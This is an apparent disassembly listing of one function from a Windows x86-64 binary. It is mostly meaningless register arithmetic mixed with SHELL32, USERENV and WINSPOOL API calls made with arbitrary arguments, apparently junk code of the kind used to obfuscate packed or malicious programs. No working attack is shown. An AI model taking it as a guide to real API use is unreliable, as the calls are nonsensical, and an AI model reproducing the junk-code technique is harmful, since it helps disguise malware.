mov word [0x1401773b8], ax
mov edx, 0xd0
lea rcx, [rsp + 0xb288]
call qword [sym.imp.SHELL32.dll_SHMultiFileProperties]
mov dword [rsp + 0x5868], eax
mov rax, qword [rsp + 0xb3a0]
mov rcx, qword [rsp + 0xb0f0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xb348], rax
movsx eax, word [rsp + 0x1b98]
movsx ecx, word [rsp + 0xfec]
sub eax, ecx
mov word [rsp + 0x1bf8], ax
movsx eax, word [rsp + 0x1b98]
mov rcx, qword [rsp + 0xb150]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1ba0], ax
mov edx, 0x66
lea rcx, [rsp + 0x5868]
call qword [sym.imp.SHELL32.dll_SHGetSettings]
movzx eax, word [rsp + 0x1be8]
mov rcx, qword [rsp + 0xb480]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x1401773a4], ax
movzx eax, byte [rsp + 0x39e]
mov rcx, qword [rsp + 0xb1a8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x1fa], al
mov rax, qword [rsp + 0xb498]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb320]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xb350]
mov qword [rcx], rax
mov rax, qword [rsp + 0xb498]
mov rcx, qword [rsp + 0xb348]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xb398], rax
jmp 0x14015a575
mov rax, qword [rsp + 0xb400]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xb258]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1ba8], ax
mov rax, qword [rsp + 0xb1d8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb38]
and eax, ecx
mov word [rsp + 0x1b94], ax
mov eax, dword [rsp + 0x5808]
mov ecx, dword [rsp + 0x5834]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4b3c], eax
mov eax, dword [rsp + 0x5814]
mov ecx, dword [rsp + 0x58ec]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb330]
mov dword [rcx], eax
lea r9, [rsp + 0xb3d8]
lea r8, [rsp + 0x5844]
mov rdx, qword [rsp + 0xb640]
lea rcx, [rsp + 0xa240]
call qword [sym.imp.SHELL32.dll_SHBindToParent]
mov dword [rsp + 0x59a0], eax
mov rax, qword [rsp + 0xb270]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xb1c8]
shl rax, cl
mov qword [rsp + 0xb130], rax
mov rax, qword [rsp + 0xb258]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xb388]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1b98], ax
movzx eax, byte [rsp + 0x3a2]
mov rcx, qword [rsp + 0xb1a8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xee], al
jmp 0x14015a71d
mov rax, qword [rsp + 0xb350]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb320]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xb360], rax
mov rax, qword [rsp + 0xb350]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb320]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xb398], rax
mov rax, qword [rsp + 0xb1c8]
mov rcx, qword [rsp + 0xb130]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x9f48], rax
mov rax, qword [rsp + 0xb2c0]
mov rcx, qword [rsp + 0xb160]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x5834], eax
mov rax, qword [rsp + 0xb330]
mov ecx, dword [rsp + 0x58ec]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x5814], eax
call fcn.14015b3d0
lea r8, [rsp + 0x5918]
mov rdx, qword [rsp + 0xb168]
mov rcx, qword [rsp + 0xb318]
call qword [sym.imp.USERENV.dll_GetUserProfileDirectoryW]
mov dword [rsp + 0x5984], eax
mov rax, qword [rsp + 0xb2f0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xb3d8]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xb2f0]
mov byte [rcx], al
mov rax, qword [rsp + 0xb258]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xb388]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x1401773b8], ax
mov rax, qword [rsp + 0xb140]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x39a]
sar eax, cl
mov byte [rsp + 0x39d], al
movzx eax, word [0x140177390]
mov rcx, qword [rsp + 0xb1d8]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x1bd0], ax
lea r9, [rsp + 0xb3a0]
lea r8, [rsp + 0xb288]
mov rdx, qword [rsp + 0x184f8]
lea rcx, [rsp + 0xb350]
call qword [sym.imp.SHELL32.dll_SHBindToParent]
mov dword [rsp + 0x5844], eax
movsx eax, word [rsp + 0x1be0]
mov rcx, qword [rsp + 0xb388]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1bb0], ax
mov rax, qword [rsp + 0xb1d8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1188]
sub eax, ecx
mov rcx, qword [rsp + 0xb1d8]
mov word [rcx], ax
movzx eax, byte [rsp + 0x39b]
movzx ecx, byte [reloc.SHELL32.dll_PathMakeUniqueName]
and eax, ecx
mov byte [rsp + 0x1fa], al
mov rax, qword [rsp + 0xb150]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1bb0]
sub eax, ecx
mov word [rsp + 0x1bd8], ax
lea r8, [rsp + 0x1188]
mov rdx, qword [rsp + 0xb198]
mov rcx, qword [rsp + 0xb318]
call qword [sym.imp.USERENV.dll_GetUserProfileDirectoryW]
mov dword [rsp + 0x58cc], eax
jmp 0x14015a8a7
mov rax, qword [rsp + 0xb350]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb360]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xb368], rax
mov rax, qword [rsp + 0xb350]
mov rcx, qword [rsp + 0xb398]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xb350]
mov qword [rcx], rax
lea r9, [rsp + 0x53f8]
mov r8d, reloc.SHELL32.dll_ILSaveToStream
mov rdx, qword [rsp + 0xb890]
mov rcx, qword [rsp + 0xb168]
call sub.WINSPOOL.DRV_SetPortW
mov dword [rsp + 0x588c], eax
mov eax, dword [rsp + 0x5814]
mov dword [rsp + 0x58a8], eax
mov rax, qword [rsp + 0xb200]
mov rcx, qword [rsp + 0xb160]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x53f8], eax
mov rax, qword [rsp + 0xb270]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb1c8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9800], rax
movsx eax, word [rsp + 0x1ba0]
mov rcx, qword [rsp + 0xb258]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xfec], ax
movzx eax, byte [rsp + 0x3a1]
movzx ecx, byte [rsp + 0x3a5]
sub eax, ecx
mov byte [rsp + 0x3a0], al
mov rax, qword [rsp + 0xb330]
mov ecx, dword [rsp + 0x57b0]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x58d0], eax
mov rax, qword [rsp + 0xb140]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x39d]
xor eax, ecx
mov byte [rsp + 0x3a4], al
mov rax, qword [rsp + 0xb388]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1ba8]
sar eax, cl
mov word [rsp + 0x1be0], ax
lea r9, [rsp + 0xb150]
mov r8d, SHGetNewLinkInfoW
mov rdx, qword [rsp + 0xb198]
mov rcx, qword [rsp + 0xb168]
call sub.WINSPOOL.DRV_SetPortW
mov dword [rsp + 0x8a6c], eax
mov rax, qword [rsp + 0xb2f0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x3a5]
shl eax, cl
mov byte [0x140177038], al
mov rax, qword [rsp + 0xb1d8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1a2c]
and eax, ecx
mov word [rsp + 0xb38], ax
jmp 0x14015aa2f
mov rax, qword [rsp + 0xb360]
mov rcx, qword [0x140183b30]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xb250], rax
mov rax, qword [rsp + 0xb350]
mov rcx, qword [rsp + 0xb180]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xb368], rax
mov rax, qword [rsp + 0xb368]
mov rcx, qword [rsp + 0xb138]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xb350]
mov qword [rcx], rax
lea rax, [rsp + 0xb288]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0xe9
lea r9, [rsp + 0xb1d8]
mov r8d, reloc.SHELL32.dll_ILCombine
mov rdx, qword [rsp + 0xb450]
mov rcx, qword [rsp + 0xb318]
call sub.WINSPOOL.DRV_GetFormW
mov dword [rsp + 0x5918], eax
mov rax, qword [rsp + 0xb2c0]
mov eax, dword [rax]
mov dword [rsp + 0x20], eax
mov r9d, dword [0x1401773a8]
mov rax, qword [rsp + 0xb160]
mov r8d, dword [rax]
mov edx, dword [rsp + 0x5808]
mov ecx, dword [rsp + 0x5834]
call fcn.14015b270
movsx eax, word [rsp + 0x1bd8]
movsx ecx, word [rsp + 0x1ba8]
sub eax, ecx
mov word [rsp + 0x1b98], ax
mov rax, qword [rsp + 0xb270]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb1e0]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x9f48], rax
mov eax, dword [rsp + 0x5834]
movzx ecx, al
mov eax, dword [rsp + 0x48a8]
shl eax, cl
mov dword [rsp + 0x492c], eax
mov dword [rsp + 0x20], PathMakeUniqueName
lea r9, [rsp + 0xb288]
mov r8d, 0x7c
mov edx, reloc.SHELL32.dll_SHTestTokenMembership
mov rcx, qword [rsp + 0xb318]
call sub.WINSPOOL.DRV_SetJobW
mov dword [rsp + 0x5918], eax
mov rax, qword [rsp + 0xb2b8]
mov eax, dword [rax]
mov dword [rsp + 0x58c4], eax
movzx eax, byte [rsp + 0x39e]
movzx ecx, byte [0x140183b48]
sar eax, cl
mov byte [rsp + 0x3a1], al
mov rax, qword [rsp + 0xb1d8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1bcc]
or eax, ecx
mov word [rsp + 0x1bc4], ax
movsx eax, word [rsp + 0x1bb0]
movsx ecx, word [rsp + 0xfec]
and eax, ecx
mov word [0x1401773b8], ax
mov rax, qword [rsp + 0xb1b8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x57b0]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb2b8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb270]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa2c0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xb188], rax
mov dword [rsp + 0x20], 0x88
lea r9, [rsp + 0xb2a8]
mov r8d, reloc.SHELL32.dll_SHTestTokenMembership
lea rdx, [rsp + 0xb270]
mov rcx, qword [rsp + 0xb378]
call sub.WINSPOOL.DRV_FlushPrinter
mov dword [rsp + 0x588c], eax
mov rax, qword [rsp + 0xb2c0]
mov rcx, qword [rsp + 0xb200]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x5834], eax
movzx eax, word [rsp + 0x1a2c]
mov rcx, qword [rsp + 0xb1d8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1bb8], ax
mov rax, qword [rsp + 0xb2f0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xb1a8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x140177038], al
movsx eax, word [rsp + 0x1ba8]
movsx ecx, word [0x1401773b8]
sub eax, ecx
mov word [rsp + 0xfec], ax
mov rax, qword [rsp + 0xb368]
mov rcx, qword [rsp + 0xb350]
mov qword [rsp + 0x18768], rcx
movzx ecx, al
mov rax, qword [rsp + 0x18768]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xb360], rax
mov rax, qword [rsp + 0xb1d8]
movzx eax, word [rax]
movzx ecx, word [0x140177390]
add eax, ecx
mov word [rsp + 0x1a2c], ax
lea rax, [rsp + 0x57ec]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x57b0]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], ILRemoveLastID
lea rax, [rsp + 0xb158]
mov qword [rsp + 0x20], rax
mov r9d, 0xcd
mov r8d, 0xdf
mov edx, 0x93
mov rcx, qword [rsp + 0xb378]
call sub.WINSPOOL.DRV_EnumJobsW
mov dword [rsp + 0x57f0], eax
mov rax, qword [rsp + 0xb150]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xb258]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1ba8], ax
mov rax, qword [rsp + 0xb1d8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1bcc]
add eax, ecx
mov word [0x140177390], ax
mov rax, qword [rsp + 0xb2f0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x39b]
add eax, ecx
mov byte [rsp + 0x1fa], al
mov rax, qword [rsp + 0xb1b8]
mov rcx, qword [rsp + 0xb2b8]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x5814], eax
movsx eax, word [rsp + 0x1ba0]
movsx ecx, word [rsp + 0x1ba8]
add eax, ecx
mov word [rsp + 0x1b98], ax
mov rax, qword [rsp + 0xa240]
mov rcx, qword [rsp + 0xb250]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xb2b0], rax
mov rax, qword [rsp + 0xb138]
mov rcx, qword [rsp + 0xa240]
xor rcx, rax
mov rax, rcx
mov qword [0x140177398], rax
mov rax, qword [rsp + 0xb1c8]
movzx ecx, al
mov rax, qword [rsp + 0xb188]
shr rax, cl
mov qword [rsp + 0x9800], rax
lea rax, [rsp + 0x39d]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x57f0]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 0xc0
lea rax, [rsp + 0x1bcc]
mov qword [rsp + 0x20], rax
mov r9d, 0x44
mov r8d, 0xca
mov edx, 0x25
mov rcx, qword [rsp + 0xb318]
call sub.WINSPOOL.DRV_EnumJobsW
mov dword [rsp + 0x58cc], eax
mov eax, dword [rsp + 0x57c8]
movzx ecx, al
mov eax, dword [rsp + 0x57b0]
shl eax, cl
mov rcx, qword [rsp + 0xb1b8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb200]
mov eax, dword [rax]
mov dword [rsp + 0x20], eax
mov rax, qword [rsp + 0xb160]
mov r9d, dword [rax]
mov rax, qword [rsp + 0xb2c0]
mov r8d, dword [rax]
mov edx, dword [rsp + 0x492c]
mov ecx, dword [rsp + 0x4b3c]
call fcn.14015b160
movsx eax, word [rsp + 0x1ba0]
movsx ecx, word [rsp + 0x1b98]
or eax, ecx
mov word [rsp + 0x1bb0], ax
mov rax, qword [rsp + 0xb1d8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1ba4]
xor eax, ecx
mov rcx, qword [rsp + 0xb1d8]
mov word [rcx], ax
mov rdx, qword [rsp + 0x18760]
mov rcx, qword [rsp + 0xb2a8]
call qword [sym.imp.SHELL32.dll_DuplicateIcon]
mov qword [rsp + 0xb430], rax
mov rax, qword [rsp + 0xa240]
mov rcx, qword [rsp + 0xb138]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xb180], rax
mov rax, qword [rsp + 0x92c8]
mov rcx, qword [rsp + 0xb180]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xb138], rax
movsx eax, byte [rsp + 0x39a]
mov rcx, qword [rsp + 0xb140]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x39d], al
mov rax, qword [rsp + 0xb160]
mov eax, dword [rax]
mov ecx, dword [0x140183b44]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x5808], eax
mov rax, qword [rsp + 0xb1b8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x57b0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x57c8], eax
mov dword [rsp + 0x20], ILRemoveLastID
lea r9, [rsp + 0xb170]
mov r8d, 0xf8
lea rdx, [rsp + 0x1ba0]
lea rcx, [rsp + 0x1bb0]
call qword [sym.imp.SHELL32.dll_SHGetDataFromIDListW]
mov dword [rsp + 0x59a0], eax
mov rax, qword [rsp + 0xb1b8]
mov r8d, dword [rax]
mov rax, qword [rsp + 0xb1b8]
mov edx, dword [rax]
mov rcx, qword [rsp + 0xb188]
call fcn.14015b1f0
mov eax, dword [rsp + 0x57a8]
and eax, 0xde28
mov dword [rsp + 0x57b0], eax
jmp 0x14015b002
lea rax, [rsp + 0x1b98]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0xb6f8]
lea r8, [rsp + 0x57f0]
mov edx, 0x3f
lea rcx, [rsp + 0x1a2c]
call qword [sym.imp.SHELL32.dll_PathMakeUniqueName]
mov dword [rsp + 0x57f0], eax
mov eax, dword [rsp + 0x57b0]
shl eax, 0xb
mov dword [rsp + 0x57a8], eax
movabs rax, 0x7829a1fd01d3d1
mov rcx, qword [rsp + 0x92c8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x92c8], rax
movabs rax, 0x7cc8f9930036c1
mov rcx, qword [rsp + 0xb130]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9800], rax
movzx eax, word [rsp + 0x1b94]
movzx ecx, word [rsp + 0x1a2c]
xor eax, ecx
mov word [0x140177390], ax
movzx eax, word [rsp + 0x1b94]
movzx ecx, word [0x140177390]
sar eax, cl
mov word [rsp + 0x1a2c], ax
mov edx, dword [rsp + 0x57a8]
mov ecx, dword [rsp + 0x57a8]
call fcn.14015b480
lea rcx, [rsp + 0x1b94]
call qword [sym.imp.SHELL32.dll_ILFindLastID]
mov qword [rsp + 0xb6f8], rax
movzx r9d, word [rsp + 0x1b94]
movzx r8d, word [rsp + 0x1b94]
movzx edx, word [rsp + 0x1b94]
movzx ecx, word [rsp + 0x1b94]
call fcn.14015b2b0
mov eax, dword [rsp + 0x4f8c]
add rsp, 0x1c1e0
pop rdi
ret